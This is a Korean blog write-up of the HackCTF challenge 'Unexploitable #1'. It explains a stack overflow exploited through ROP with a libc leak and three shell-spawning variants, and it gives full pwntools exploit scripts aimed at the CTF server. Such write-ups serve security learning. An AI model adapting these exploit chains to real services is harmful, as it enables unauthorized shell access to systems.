상세 컨텐츠

본문 제목

[HackCTF] Unexploitable #1

SYSTEM HACKING/HackCTF

by koharin 2020. 1. 19. 19:48

본문

728x90
반응형

# 보호기법 확인

 

 

# process

 

system 함수 plt와 got가 주어져있어서 이것을 사용하면 된다.

 

 

"pop rdi; ret" gadget을 사용한다.

ROP를 진행하는데 처음에 libc leak을 위해 system 함수를 사용한다.

 

 

system 함수 인자로 명령어가 아닌 것을 줬을 때 이렇게 에러 메시지가 출력되는데, 이것을 사용해서 system 함수 인자인자로 특정 libc 함수 주소를 주면, 에러 메시지가 출력되면서 그 내용을 출력해줄 것이다.

이것을 leak헤서 libcBase를 구하고 system 함수와 "/bin/sh" 주소를 구한다. 

그리고 다시 main으로 리턴한다.

 

 

main으로 다시 가고난 후 익스하는 방법은 여러가지 있다.

 

1. RTL

 

gadget을 사용해서 return address를 덮고 RTL을 진행했다.

그냥 p64(system) + 'AAAA' + p64(binsh)

이렇게 진행해도 상관없다.

 

2. one_gadget

 

return address를 one_gadget으로 덮어서 one_gadget을 실행시켜 쉘을 따는 방법이다.

 

 

3. system("sh"); 실행

 

이건 새롭게 알게된 방법이다.

 

 

IDA에서 보면 'fflush' 문자열이 있다. 

여기서 'sh'만 가져오는 것이다..!

0x4003bb+4 = 0x4003bf

 

그럼 따로 leak할 필요없이 system@plt로 system("sh")을 만들면 쉘을 딸 수 있다!

 

 

 

# exploit code

 

1. ex.py

 

system_plt = elf.plt['system']
fgets_got = elf.got['fgets']
main = 0x4006dc
p1ret = 0x4007d3
one_gadget_off = 0x45216

pay = 'A'*(0x10 + 0x8)
pay += p64(p1ret) + p64(fgets_got) + p64(system_plt)
pay += p64(main)

p.sendlineafter("\n", pay)

#gdb.attach(p)
p.recvuntil("1: ")
fgets = u64(p.recv(6).ljust(8, '\x00'))
libcBase = fgets - libc.symbols['fgets']
system = libcBase + libc.symbols['system']
binsh = libcBase + list(libc.search("/bin/sh"))[0]
log.info("libcBase : "+hex(libcBase))
log.info("system : "+hex(system))
log.info("binsh: "+hex(binsh))

pay = 'A'*(0x10 + 0x8)
pay += p64(p1ret) + p64(binsh) + p64(system)

p.sendlineafter("\n", pay)

p.interactive()

 

2. ex2.py

 

#!/usr/bin/python                                                                       
from pwn import *

#context.log_level = 'debug'
#p = process("./Unexploitable_1")
p = remote("ctf.j0n9hyun.xyz", 3023)
elf = ELF("./Unexploitable_1")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
system_plt = elf.plt['system']
fgets_got = elf.got['fgets']
main = 0x4006dc
p1ret = 0x4007d3
one_gadget_off = 0x45216

pay = 'A'*(0x10 + 0x8)
pay += p64(p1ret) + p64(fgets_got) + p64(system_plt)
pay += p64(main)

p.sendlineafter("\n", pay)

#gdb.attach(p)
p.recvuntil("1: ")
fgets = u64(p.recv(6).ljust(8, '\x00'))
libcBase = fgets - libc.symbols['fgets']
one_gadget = libcBase + one_gadget_off
log.info("libcBase : "+hex(libcBase))

pay = 'A'*(0x10 + 0x8)
pay += p64(one_gadget)

p.sendlineafter("\n", pay)

p.interactive()

 

3. ex3.py

 

#!/usr/bin/python                                                                       
from pwn import *

#context.log_level = 'debug'
#p = process("./Unexploitable_1")
p = remote("ctf.j0n9hyun.xyz", 3023)
elf = ELF("./Unexploitable_1")
system_plt = elf.plt['system']
p1ret = 0x4007d3
sh = 0x4003bf

pay = 'A'*(0x10 + 0x8)
pay += p64(p1ret) + p64(sh) + p64(system_plt)

p.sendlineafter("\n", pay)

p.interactive()

 

# exploit

 

 

 

 

728x90
반응형

'SYSTEM HACKING > HackCTF' 카테고리의 다른 글

[HackCTF] Beginner Heap  (0) 2020.01.22
[HackCTF] Unexploitable #2  (0) 2020.01.19
[HackCTF] UAF  (0) 2020.01.19
[HackCTF] Random Key  (0) 2020.01.18
[HackCTF] ROP  (3) 2020.01.16

관련글 더보기